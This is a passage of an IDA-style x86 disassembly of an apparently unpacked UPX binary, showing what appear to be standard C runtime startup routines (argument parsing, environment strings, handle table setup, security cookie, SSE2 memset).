call sub_40EF6F
pop ecx
pop ecx
mov [edi], eax
test eax, eax
jz short loc_40F68E
push esi
push ebx
push eax
call sub_40CD95
add esp, 0Ch
test eax, eax
jz short loc_40F65E
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call sub_40B12D
add esp, 14h
loc_40F65E: ; CODE XREF: sub_40F5C7+86j
add edi, 4
loc_40F661: ; CODE XREF: sub_40F5C7+67j
add esi, ebx
loc_40F663: ; CODE XREF: sub_40F5C7+58j
cmp byte ptr [esi], 0
jnz short loc_40F621
push dword_42E3F0
call sub_40ADC8
and dword_42E3F0, 0
and dword ptr [edi], 0
mov dword_430264, 1
xor eax, eax
loc_40F689: ; CODE XREF: sub_40F5C7+DCj
pop ecx
pop ebx
loc_40F68B: ; CODE XREF: sub_40F5C7+1Fj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40F68E: ; CODE XREF: sub_40F5C7+77j
push dword_42E88C
call sub_40ADC8
and dword_42E88C, 0
or eax, 0FFFFFFFFh
jmp short loc_40F689
sub_40F5C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F6A5 proc near ; CODE XREF: sub_40F83F+57p
; sub_40F83F+98p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_8]
push ebx
xor eax, eax
push esi
mov [edi], eax
mov esi, edx
mov edx, [ebp+arg_4]
mov dword ptr [ecx], 1
cmp [ebp+arg_0], eax
jz short loc_40F6CD
mov ebx, [ebp+arg_0]
add [ebp+arg_0], 4
mov [ebx], edx
loc_40F6CD: ; CODE XREF: sub_40F6A5+1Dj
mov [ebp+var_4], eax
loc_40F6D0: ; CODE XREF: sub_40F6A5+80j
; sub_40F6A5+8Aj
cmp byte ptr [esi], 22h
jnz short loc_40F6E5
xor eax, eax
cmp [ebp+var_4], eax
mov bl, 22h
setz al
inc esi
mov [ebp+var_4], eax
jmp short loc_40F721
; ---------------------------------------------------------------------------
loc_40F6E5: ; CODE XREF: sub_40F6A5+2Ej
inc dword ptr [edi]
test edx, edx
jz short loc_40F6F3
mov al, [esi]
mov [edx], al
inc edx
mov [ebp+arg_4], edx
loc_40F6F3: ; CODE XREF: sub_40F6A5+44j
mov bl, [esi]
movzx eax, bl
push eax
inc esi
call sub_4145E7
pop ecx
test eax, eax
jz short loc_40F717
inc dword ptr [edi]
cmp [ebp+arg_4], 0
jz short loc_40F716
mov ecx, [ebp+arg_4]
mov al, [esi]
inc [ebp+arg_4]
mov [ecx], al
loc_40F716: ; CODE XREF: sub_40F6A5+65j
inc esi
loc_40F717: ; CODE XREF: sub_40F6A5+5Dj
mov edx, [ebp+arg_4]
mov ecx, [ebp+arg_8]
test bl, bl
jz short loc_40F753
loc_40F721: ; CODE XREF: sub_40F6A5+3Ej
cmp [ebp+var_4], 0
jnz short loc_40F6D0
cmp bl, 20h
jz short loc_40F731
cmp bl, 9
jnz short loc_40F6D0
loc_40F731: ; CODE XREF: sub_40F6A5+85j
test edx, edx
jz short loc_40F739
mov byte ptr [edx-1], 0
loc_40F739: ; CODE XREF: sub_40F6A5+8Ej
; sub_40F6A5+AFj
and [ebp+var_4], 0
loc_40F73D: ; CODE XREF: sub_40F6A5+185j
cmp byte ptr [esi], 0
jz loc_40F82F
loc_40F746: ; CODE XREF: sub_40F6A5+ACj
mov al, [esi]
cmp al, 20h
jz short loc_40F750
cmp al, 9
jnz short loc_40F756
loc_40F750: ; CODE XREF: sub_40F6A5+A5j
inc esi
jmp short loc_40F746
; ---------------------------------------------------------------------------
loc_40F753: ; CODE XREF: sub_40F6A5+7Aj
dec esi
jmp short loc_40F739
; ---------------------------------------------------------------------------
loc_40F756: ; CODE XREF: sub_40F6A5+A9j
cmp byte ptr [esi], 0
jz loc_40F82F
cmp [ebp+arg_0], 0
jz short loc_40F76E
mov eax, [ebp+arg_0]
add [ebp+arg_0], 4
mov [eax], edx
loc_40F76E: ; CODE XREF: sub_40F6A5+BEj
inc dword ptr [ecx]
loc_40F770: ; CODE XREF: sub_40F6A5+170j
xor ebx, ebx
inc ebx
xor ecx, ecx
jmp short loc_40F779
; ---------------------------------------------------------------------------
loc_40F777: ; CODE XREF: sub_40F6A5+D7j
inc esi
inc ecx
loc_40F779: ; CODE XREF: sub_40F6A5+D0j
cmp byte ptr [esi], 5Ch
jz short loc_40F777
cmp byte ptr [esi], 22h
jnz short loc_40F7A9
test cl, 1
jnz short loc_40F7A7
cmp [ebp+var_4], 0
jz short loc_40F79A
lea eax, [esi+1]
cmp byte ptr [eax], 22h
jnz short loc_40F79A
mov esi, eax
jmp short loc_40F7A7
; ---------------------------------------------------------------------------
loc_40F79A: ; CODE XREF: sub_40F6A5+E7j
; sub_40F6A5+EFj
xor eax, eax
xor ebx, ebx
cmp [ebp+var_4], eax
setz al
mov [ebp+var_4], eax
loc_40F7A7: ; CODE XREF: sub_40F6A5+E1j
; sub_40F6A5+F3j
shr ecx, 1
loc_40F7A9: ; CODE XREF: sub_40F6A5+DCj
test ecx, ecx
jz short loc_40F7BF
loc_40F7AD: ; CODE XREF: sub_40F6A5+115j
dec ecx
test edx, edx
jz short loc_40F7B6
mov byte ptr [edx], 5Ch
inc edx
loc_40F7B6: ; CODE XREF: sub_40F6A5+10Bj
inc dword ptr [edi]
test ecx, ecx
jnz short loc_40F7AD
mov [ebp+arg_4], edx
loc_40F7BF: ; CODE XREF: sub_40F6A5+106j
mov al, [esi]
test al, al
jz short loc_40F81A
cmp [ebp+var_4], 0
jnz short loc_40F7D3
cmp al, 20h
jz short loc_40F81A
cmp al, 9
jz short loc_40F81A
loc_40F7D3: ; CODE XREF: sub_40F6A5+124j
test ebx, ebx
jz short loc_40F814
movsx eax, al
push eax
test edx, edx
jz short loc_40F802
call sub_4145E7
pop ecx
test eax, eax
jz short loc_40F7F6
mov al, [esi]
mov ecx, [ebp+arg_4]
inc [ebp+arg_4]
mov [ecx], al
inc esi
inc dword ptr [edi]
loc_40F7F6: ; CODE XREF: sub_40F6A5+142j
mov ecx, [ebp+arg_4]
mov al, [esi]
inc [ebp+arg_4]
mov [ecx], al
jmp short loc_40F80F
; ---------------------------------------------------------------------------
loc_40F802: ; CODE XREF: sub_40F6A5+138j
call sub_4145E7
pop ecx
test eax, eax
jz short loc_40F80F
inc esi
inc dword ptr [edi]
loc_40F80F: ; CODE XREF: sub_40F6A5+15Bj
; sub_40F6A5+165j
inc dword ptr [edi]
mov edx, [ebp+arg_4]
loc_40F814: ; CODE XREF: sub_40F6A5+130j
inc esi
jmp loc_40F770
; ---------------------------------------------------------------------------
loc_40F81A: ; CODE XREF: sub_40F6A5+11Ej
; sub_40F6A5+128j ...
test edx, edx
jz short loc_40F825
mov byte ptr [edx], 0
inc edx
mov [ebp+arg_4], edx
loc_40F825: ; CODE XREF: sub_40F6A5+177j
inc dword ptr [edi]
mov ecx, [ebp+arg_8]
jmp loc_40F73D
; ---------------------------------------------------------------------------
loc_40F82F: ; CODE XREF: sub_40F6A5+9Bj
; sub_40F6A5+B4j
mov eax, [ebp+arg_0]
pop esi
pop ebx
test eax, eax
jz short loc_40F83B
and dword ptr [eax], 0
loc_40F83B: ; CODE XREF: sub_40F6A5+191j
inc dword ptr [ecx]
leave
retn
sub_40F6A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F83F proc near ; CODE XREF: UPX0:0040BC76p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
xor ebx, ebx
push esi
push edi
cmp dword_430270, ebx
jnz short loc_40F859
call sub_4121C2
loc_40F859: ; CODE XREF: sub_40F83F+13j
push 104h
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push esi
push ebx
mov byte_42ECF4, bl
call dword_41D180 ; GetModuleFileNameA
mov eax, dword_430294
mov off_42E89C, esi
cmp eax, ebx
jz short loc_40F887
mov [ebp+var_4], eax
cmp [eax], bl
jnz short loc_40F88A
loc_40F887: ; CODE XREF: sub_40F83F+3Fj
mov [ebp+var_4], esi
loc_40F88A: ; CODE XREF: sub_40F83F+46j
mov edx, [ebp+var_4]
lea eax, [ebp+var_8]
push eax
push ebx
push ebx
lea edi, [ebp+var_C]
call sub_40F6A5
mov eax, [ebp+var_8]
add esp, 0Ch
cmp eax, 3FFFFFFFh
jnb short loc_40F8F2
mov ecx, [ebp+var_C]
cmp ecx, 0FFFFFFFFh
jnb short loc_40F8F2
mov edi, eax
shl edi, 2
lea eax, [edi+ecx]
cmp eax, ecx
jb short loc_40F8F2
push eax
call sub_40EF2A
mov esi, eax
pop ecx
cmp esi, ebx
jz short loc_40F8F2
mov edx, [ebp+var_4]
lea eax, [ebp+var_8]
push eax
add edi, esi
push edi
push esi
lea edi, [ebp+var_C]
call sub_40F6A5
mov eax, [ebp+var_8]
add esp, 0Ch
dec eax
mov dword_42E880, eax
mov dword_42E884, esi
xor eax, eax
jmp short loc_40F8F5
; ---------------------------------------------------------------------------
loc_40F8F2: ; CODE XREF: sub_40F83F+67j
; sub_40F83F+6Fj ...
or eax, 0FFFFFFFFh
loc_40F8F5: ; CODE XREF: sub_40F83F+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_40F83F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F8FA proc near ; CODE XREF: UPX0:0040BC6Cp
; sub_413E93+115p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword_42ECF8
sub esp, 0Ch
push ebx
push esi
mov esi, dword_41D15C
push edi
xor ebx, ebx
xor edi, edi
cmp eax, ebx
jnz short loc_40F946
call esi ; dword_41D15C
mov edi, eax
cmp edi, ebx
jz short loc_40F92C
mov dword_42ECF8, 1
jmp short loc_40F94F
; ---------------------------------------------------------------------------
loc_40F92C: ; CODE XREF: sub_40F8FA+24j
call dword_41D1D8 ; RtlGetLastWin32Error
cmp eax, 78h
jnz short loc_40F941
push 2
pop eax
mov dword_42ECF8, eax
jmp short loc_40F946
; ---------------------------------------------------------------------------
loc_40F941: ; CODE XREF: sub_40F8FA+3Bj
mov eax, dword_42ECF8
loc_40F946: ; CODE XREF: sub_40F8FA+1Cj
; sub_40F8FA+45j
cmp eax, 1
jnz loc_40F9D0
loc_40F94F: ; CODE XREF: sub_40F8FA+30j
cmp edi, ebx
jnz short loc_40F962
call esi ; dword_41D15C
mov edi, eax
cmp edi, ebx
jnz short loc_40F962
loc_40F95B: ; CODE XREF: sub_40F8FA+DDj
; sub_40F8FA+E9j ...
xor eax, eax
jmp loc_40FA2C
; ---------------------------------------------------------------------------
loc_40F962: ; CODE XREF: sub_40F8FA+57j
; sub_40F8FA+5Fj
mov eax, edi
cmp [edi], bx
jz short loc_40F977
loc_40F969: ; CODE XREF: sub_40F8FA+74j
; sub_40F8FA+7Bj
inc eax
inc eax
cmp [eax], bx
jnz short loc_40F969
inc eax
inc eax
cmp [eax], bx
jnz short loc_40F969
loc_40F977: ; CODE XREF: sub_40F8FA+6Dj
mov esi, dword_41D07C
push ebx
push ebx
push ebx
sub eax, edi
push ebx
sar eax, 1
inc eax
push eax
push edi
push ebx
push ebx
mov [ebp+var_C], eax
call esi ; dword_41D07C
mov [ebp+var_8], eax
cmp eax, ebx
jz short loc_40F9C5
push eax
call sub_40EF2A
pop ecx
mov [ebp+var_4], eax
cmp eax, ebx
jz short loc_40F9C5
push ebx
push ebx
push [ebp+var_8]
push eax
push [ebp+var_C]
push edi
push ebx
push ebx
call esi ; dword_41D07C
test eax, eax
jnz short loc_40F9C2
push [ebp+var_4]
call sub_40ADC8
pop ecx
mov [ebp+var_4], ebx
loc_40F9C2: ; CODE XREF: sub_40F8FA+BAj
mov ebx, [ebp+var_4]
loc_40F9C5: ; CODE XREF: sub_40F8FA+9Aj
; sub_40F8FA+A8j
push edi
call dword_41D160 ; FreeEnvironmentStringsW
mov eax, ebx
jmp short loc_40FA2C
; ---------------------------------------------------------------------------
loc_40F9D0: ; CODE XREF: sub_40F8FA+4Fj
cmp eax, 2
jz short loc_40F9D9
cmp eax, ebx
jnz short loc_40F95B
loc_40F9D9: ; CODE XREF: sub_40F8FA+D9j
call dword_41D164 ; GetEnvironmentStringsA
mov esi, eax
cmp esi, ebx
jz loc_40F95B
cmp [esi], bl
jz short loc_40F9F7
loc_40F9ED: ; CODE XREF: sub_40F8FA+F6j
; sub_40F8FA+FBj
inc eax
cmp [eax], bl
jnz short loc_40F9ED
inc eax
cmp [eax], bl
jnz short loc_40F9ED
loc_40F9F7: ; CODE XREF: sub_40F8FA+F1j
sub eax, esi
inc eax
push eax
mov [ebp+var_8], eax
call sub_40EF2A
mov edi, eax
pop ecx
cmp edi, ebx
jnz short loc_40FA16
push esi
call dword_41D168 ; FreeEnvironmentStringsA
jmp loc_40F95B
; ---------------------------------------------------------------------------
loc_40FA16: ; CODE XREF: sub_40F8FA+10Ej
push [ebp+var_8]
push esi
push edi
call sub_40E710
add esp, 0Ch
push esi
call dword_41D168 ; FreeEnvironmentStringsA
mov eax, edi
loc_40FA2C: ; CODE XREF: sub_40F8FA+63j
; sub_40F8FA+D4j
pop edi
pop esi
pop ebx
leave
retn
sub_40F8FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FA31 proc near ; CODE XREF: UPX0:0040BC50p
var_64 = byte ptr -64h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 54h
push offset dword_426A10
call __SEH_prolog4
xor edi, edi
mov [ebp+ms_exc.disabled], edi
lea eax, [ebp+var_64]
push eax
call dword_41D194 ; GetStartupInfoA
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
push 40h
push 20h
pop esi
push esi
call sub_40EF6F
pop ecx
pop ecx
cmp eax, edi
jz loc_40FC7C
mov dword_430160, eax
mov dword_430148, esi
lea ecx, [eax+800h]
jmp short loc_40FAAB
; ---------------------------------------------------------------------------
loc_40FA7B: ; CODE XREF: sub_40FA31+7Cj
mov byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov [eax+8], edi
mov byte ptr [eax+24h], 0
mov byte ptr [eax+25h], 0Ah
mov byte ptr [eax+26h], 0Ah
mov [eax+38h], edi
mov byte ptr [eax+34h], 0
add eax, 40h
mov ecx, dword_430160
add ecx, 800h
loc_40FAAB: ; CODE XREF: sub_40FA31+48j
cmp eax, ecx
jb short loc_40FA7B
cmp [ebp+var_32], di
jz loc_40FBC3
mov eax, [ebp+var_30]
cmp eax, edi
jz loc_40FBC3
mov edi, [eax]
lea ebx, [eax+4]
lea eax, [ebx+edi]
mov [ebp+var_1C], eax
mov esi, 800h
cmp edi, esi
jl short loc_40FADA
mov edi, esi
loc_40FADA: ; CODE XREF: sub_40FA31+A5j
mov [ebp+var_20], 1
jmp short loc_40FB3E
; ---------------------------------------------------------------------------
loc_40FAE3: ; CODE XREF: sub_40FA31+113j
push 40h
push 20h
call sub_40EF6F
pop ecx
pop ecx
test eax, eax
jz short loc_40FB48
mov ecx, [ebp+var_20]
lea ecx, ds:430160h[ecx*4]
mov [ecx], eax
add dword_430148, 20h
lea edx, [eax+800h]
jmp short loc_40FB37
; ---------------------------------------------------------------------------
loc_40FB0D: ; CODE XREF: sub_40FA31+108j
mov byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
and dword ptr [eax+8], 0
and byte ptr [eax+24h], 80h
mov byte ptr [eax+25h], 0Ah
mov byte ptr [eax+26h], 0Ah
and dword ptr [eax+38h], 0
mov byte ptr [eax+34h], 0
add eax, 40h
mov edx, [ecx]
add edx, esi
loc_40FB37: ; CODE XREF: sub_40FA31+DAj
cmp eax, edx
jb short loc_40FB0D
inc [ebp+var_20]
loc_40FB3E: ; CODE XREF: sub_40FA31+B0j
cmp dword_430148, edi
jl short loc_40FAE3
jmp short loc_40FB4E
; ---------------------------------------------------------------------------
loc_40FB48: ; CODE XREF: sub_40FA31+BFj
mov edi, dword_430148
loc_40FB4E: ; CODE XREF: sub_40FA31+115j
and [ebp+var_20], 0
test edi, edi
jle short loc_40FBC3
loc_40FB56: ; CODE XREF: sub_40FA31+190j
mov eax, [ebp+var_1C]
mov ecx, [eax]
cmp ecx, 0FFFFFFFFh
jz short loc_40FBB6
cmp ecx, 0FFFFFFFEh
jz short loc_40FBB6
mov al, [ebx]
test al, 1
jz short loc_40FBB6
test al, 8
jnz short loc_40FB7A
push ecx
call dword_41D154 ; GetFileType
test eax, eax
jz short loc_40FBB6
loc_40FB7A: ; CODE XREF: sub_40FA31+13Cj
mov esi, [ebp+var_20]
mov eax, esi
sar eax, 5
and esi, 1Fh
shl esi, 6
add esi, dword_430160[eax*4]
mov eax, [ebp+var_1C]
mov eax, [eax]
mov [esi], eax
mov al, [ebx]
mov [esi+4], al
push 0FA0h
lea eax, [esi+0Ch]
push eax
call sub_413600
pop ecx
pop ecx
test eax, eax
jz loc_40FC7C
inc dword ptr [esi+8]
loc_40FBB6: ; CODE XREF: sub_40FA31+12Dj
; sub_40FA31+132j ...
inc [ebp+var_20]
inc ebx
add [ebp+var_1C], 4
cmp [ebp+var_20], edi
jl short loc_40FB56
loc_40FBC3: ; CODE XREF: sub_40FA31+82j
; sub_40FA31+8Dj ...
xor ebx, ebx
loc_40FBC5: ; CODE XREF: sub_40FA31+227j
mov esi, ebx
shl esi, 6
add esi, dword_430160
mov eax, [esi]
cmp eax, 0FFFFFFFFh
jz short loc_40FBE2
cmp eax, 0FFFFFFFEh
jz short loc_40FBE2
or byte ptr [esi+4], 80h
jmp short loc_40FC54
; ---------------------------------------------------------------------------
loc_40FBE2: ; CODE XREF: sub_40FA31+1A4j
; sub_40FA31+1A9j
mov byte ptr [esi+4], 81h
test ebx, ebx
jnz short loc_40FBEF
push 0FFFFFFF6h
pop eax
jmp short loc_40FBF9
; ---------------------------------------------------------------------------
loc_40FBEF: ; CODE XREF: sub_40FA31+1B7j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_40FBF9: ; CODE XREF: sub_40FA31+1BCj
push eax
call dword_41D184 ; GetStdHandle
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_40FC4A
test edi, edi
jz short loc_40FC4A
push edi
call dword_41D154 ; GetFileType
test eax, eax
jz short loc_40FC4A
mov [esi], edi
and eax, 0FFh
cmp eax, 2
jnz short loc_40FC28
or byte ptr [esi+4], 40h
jmp short loc_40FC31
; ---------------------------------------------------------------------------
loc_40FC28: ; CODE XREF: sub_40FA31+1EFj
cmp eax, 3
jnz short loc_40FC31
or byte ptr [esi+4], 8
loc_40FC31: ; CODE XREF: sub_40FA31+1F5j
; sub_40FA31+1FAj
push 0FA0h
lea eax, [esi+0Ch]
push eax
call sub_413600
pop ecx
pop ecx
test eax, eax
jz short loc_40FC7C
inc dword ptr [esi+8]
jmp short loc_40FC54
; ---------------------------------------------------------------------------
loc_40FC4A: ; CODE XREF: sub_40FA31+1D4j
; sub_40FA31+1D8j ...
or byte ptr [esi+4], 40h
mov dword ptr [esi], 0FFFFFFFEh
loc_40FC54: ; CODE XREF: sub_40FA31+1AFj
; sub_40FA31+217j
inc ebx
cmp ebx, 3
jl loc_40FBC5
push dword_430148
call dword_41D158 ; SetHandleCount
xor eax, eax
jmp short loc_40FC7F
; ---------------------------------------------------------------------------
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+ms_exc.old_esp]
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
loc_40FC7C: ; CODE XREF: sub_40FA31+31j
; sub_40FA31+17Cj ...
or eax, 0FFFFFFFFh
loc_40FC7F: ; CODE XREF: sub_40FA31+23Bj
call __SEH_epilog4
retn
sub_40FA31 endp
; =============== S U B R O U T I N E =======================================
sub_40FC85 proc near ; CODE XREF: UPX0:loc_40BC48p
mov edi, edi
push esi
mov eax, offset dword_42679C
mov esi, offset dword_42679C
push edi
mov edi, eax
cmp eax, esi
jnb short loc_40FCA8
loc_40FC99: ; CODE XREF: sub_40FC85+21j
mov eax, [edi]
test eax, eax
jz short loc_40FCA1
call eax
loc_40FCA1: ; CODE XREF: sub_40FC85+18j
add edi, 4
cmp edi, esi
jb short loc_40FC99
loc_40FCA8: ; CODE XREF: sub_40FC85+12j
pop edi
pop esi
retn
sub_40FC85 endp
; ---------------------------------------------------------------------------
byte_40FCAB db 8Bh, 0FFh ; DATA XREF: sub_40DB8F+41o
; ---------------------------------------------------------------------------
push esi
mov eax, offset dword_4267A4
mov esi, offset dword_4267A4
push edi
mov edi, eax
cmp eax, esi
jnb short loc_40FCCE
loc_40FCBF: ; CODE XREF: UPX0:0040FCCCj
mov eax, [edi]
test eax, eax
jz short loc_40FCC7
call eax
loc_40FCC7: ; CODE XREF: UPX0:0040FCC3j
add edi, 4
cmp edi, esi
jb short loc_40FCBF
loc_40FCCE: ; CODE XREF: UPX0:0040FCBDj
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FCD1 proc near ; CODE XREF: UPX0:loc_40BD35p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
mov edi, edi
push ebp
mov ebp, esp
sub esp, 10h
mov eax, dword_42A034
and [ebp+var_8], 0
and [ebp+var_4], 0
push ebx
push edi
mov edi, 0BB40E64Eh
mov ebx, 0FFFF0000h
cmp eax, edi
jz short loc_40FD03
test eax, ebx
jz short loc_40FD03
not eax
mov dword_42A038, eax
jmp short loc_40FD63
; ---------------------------------------------------------------------------
loc_40FD03: ; CODE XREF: sub_40FCD1+23j
; sub_40FCD1+27j
push esi
lea eax, [ebp+var_8]
push eax
call dword_41D19C ; GetSystemTimeAsFileTime
mov esi, [ebp+var_4]
xor esi, [ebp+var_8]
call dword_41D148 ; GetCurrentProcessId
xor esi, eax
call dword_41D1C4 ; GetCurrentThreadId
xor esi, eax
call dword_41D14C ; GetTickCount
xor esi, eax
lea eax, [ebp+var_10]
push eax
call dword_41D150 ; QueryPerformanceCounter
mov eax, [ebp+var_C]
xor eax, [ebp+var_10]
xor esi, eax
cmp esi, edi
jnz short loc_40FD49
mov esi, 0BB40E64Fh
jmp short loc_40FD54
; ---------------------------------------------------------------------------
loc_40FD49: ; CODE XREF: sub_40FCD1+6Fj
test esi, ebx
jnz short loc_40FD54
mov eax, esi
shl eax, 10h
or esi, eax
loc_40FD54: ; CODE XREF: sub_40FCD1+76j
; sub_40FCD1+7Aj
mov dword_42A034, esi
not esi
mov dword_42A038, esi
pop esi
loc_40FD63: ; CODE XREF: sub_40FCD1+30j
pop edi
pop ebx
leave
retn
sub_40FCD1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FD67 proc near ; CODE XREF: sub_40FDBE+31p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4
mov [ebp+var_4], edi
mov edi, [ebp+arg_0]
mov ecx, [ebp+arg_4]
shr ecx, 7
pxor xmm0, xmm0
jmp short loc_40FD87
; ---------------------------------------------------------------------------
db 8Dh, 0A4h, 24h, 4 dup(0)
db 90h
; ---------------------------------------------------------------------------
loc_40FD87: ; CODE XREF: sub_40FD67+16j
; sub_40FD67+4Ej
movdqa oword ptr [edi], xmm0
movdqa oword ptr [edi+10h], xmm0
movdqa oword ptr [edi+20h], xmm0
movdqa oword ptr [edi+30h], xmm0
movdqa oword ptr [edi+40h], xmm0
movdqa oword ptr [edi+50h], xmm0
movdqa oword ptr [edi+60h], xmm0
movdqa oword ptr [edi+70h], xmm0
lea edi, [edi+80h]
dec ecx
jnz short loc_40FD87
mov edi, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_40FD67 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FDBE proc near ; CODE XREF: sub_40BD40+27j
; sub_40FDBE+7Dp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_4], edi
mov eax, [ebp+arg_0]
cdq
mov edi, eax
xor edi, edx
sub edi, edx
and edi, 0Fh
xor edi, edx
sub edi, edx
test edi, edi
jnz short loc_40FE18
mov ecx, [ebp+arg_8]
mov edx, ecx
and edx, 7Fh
mov [ebp+var_C], edx
cmp ecx, edx
jz short loc_40FDFD
sub ecx, edx
push ecx
push eax
call sub_40FD67
add esp, 8
mov eax, [ebp+arg_0]
mov edx, [ebp+var_C]
loc_40FDFD: ; CODE XREF: sub_40FDBE+2Bj
test edx, edx
jz short loc_40FE46
add eax, [ebp+arg_8]
sub eax, edx
mov [ebp+var_8], eax
xor eax, eax
mov edi, [ebp+var_8]
mov ecx, [ebp+var_C]
rep stosb
mov eax, [ebp+arg_0]
jmp short loc_40FE46
; ---------------------------------------------------------------------------
loc_40FE18: ; CODE XREF: sub_40FDBE+1Cj
neg edi
add edi, 10h
mov [ebp+var_10], edi
xor eax, eax
mov edi, [ebp+arg_0]
mov ecx, [ebp+var_10]
rep stosb
mov eax, [ebp+var_10]
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
add ecx, eax
sub edx, eax
push edx
push 0
push ecx
call sub_40FDBE
add esp, 0Ch
mov eax, [ebp+arg_0]
loc_40FE46: ; CODE XREF: sub_40FDBE+41j
; sub_40FDBE+58j
mov edi, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_40FDBE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FE4D proc near ; CODE XREF: sub_40FE9D+4Fp
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 0Ch
push offset dword_426A30
call __SEH_prolog4
and [ebp+ms_exc.disabled], 0
movapd xmm0, xmm1
mov [ebp+var_1C], 1
jmp short loc_40FE8D
; ---------------------------------------------------------------------------
mov eax, [ebp+ms_exc.exc_ptr]
mov eax, [eax]
mov eax, [eax]
cmp eax, 0C0000005h
jz short loc_40FE82
cmp eax, 0C000001Dh
jz short loc_40FE82
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40FE82: ; CODE XREF: sub_40FE4D+29j
; sub_40FE4D+30j
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+ms_exc.old_esp]
and [ebp+var_1C], 0
loc_40FE8D: ; CODE XREF: sub_40FE4D+1Bj
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
mov eax, [ebp+var_1C]
call __SEH_epilog4
retn
sub_40FE4D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FE9D proc near ; CODE XREF: sub_40FEFFp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
mov edi, edi
push ebp
mov ebp, esp
sub esp, 18h
xor eax, eax
push ebx
mov [ebp+var_4], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
push ebx
pushf
pop eax
mov ecx, eax
xor eax, 200000h
push eax
popf
pushf
pop edx
sub edx, ecx
jz short loc_40FEE2
push ecx
popf
xor eax, eax
cpuid
mov [ebp+var_C], eax
mov [ebp+var_18], ebx
mov [ebp+var_14], edx
mov [ebp+var_10], ecx
mov eax, 1
cpuid
mov [ebp+var_4], edx
mov [ebp+var_8], eax
loc_40FEE2: ; CODE XREF: sub_40FE9D+24j
pop ebx
test [ebp+var_4], 4000000h
jz short loc_40FEFA
call sub_40FE4D
test eax, eax
jz short loc_40FEFA
xor eax, eax
inc eax
jmp short loc_40FEFC
; ---------------------------------------------------------------------------
loc_40FEFA: ; CODE XREF: sub_40FE9D+4Dj
; sub_40FE9D+56j
xor eax, eax
loc_40FEFC: ; CODE XREF: sub_40FE9D+5Bj
pop ebx
leave
retn
sub_40FE9D endp
; =============== S U B R O U T I N E =======================================
sub_40FEFF proc near ; DATA XREF: UPX0:0041D400o
call sub_40FE9D
mov dword_430144, eax
xor eax, eax
retn
sub_40FEFF endp
; =============== S U B R O U T I N E =======================================
sub_40FF0C proc near ; CODE XREF: sub_40FF0C+BDp
; UPX0:0040FFF2p ...
var_20 = dword ptr -20h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
mov edx, [esp+0Ch+arg_0]
mov eax, [esp+0Ch+arg_4]
mov ecx, [esp+0Ch+arg_8]
push ebp
push edx
push eax
push ecx
push ecx
push offset loc_40FF9C
push large dword ptr fs:0
mov eax, dword_42A034
xor eax, esp
mov [esp+28h+var_20], eax
mov large fs:0, esp
loc_40FF3E: ; CODE XREF: sub_40FF0C+64j
; sub_40FF0C+80j
mov eax, [esp+28h+arg_4]
mov ebx, [eax+8]
mov ecx, [esp+28h+arg_0]
xor ebx, [ecx]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFEh
jz short loc_40FF8E
mov edx, [esp+28h+arg_8]
cmp edx, 0FFFFFFFEh
jz short loc_40FF60
cmp esi, edx
jbe short loc_40FF8E
loc_40FF60: ; CODE XREF: sub_40FF0C+4Ej
lea esi, [esi+esi*2]
lea ebx, [ebx+esi*4+10h]
mov ecx, [ebx]
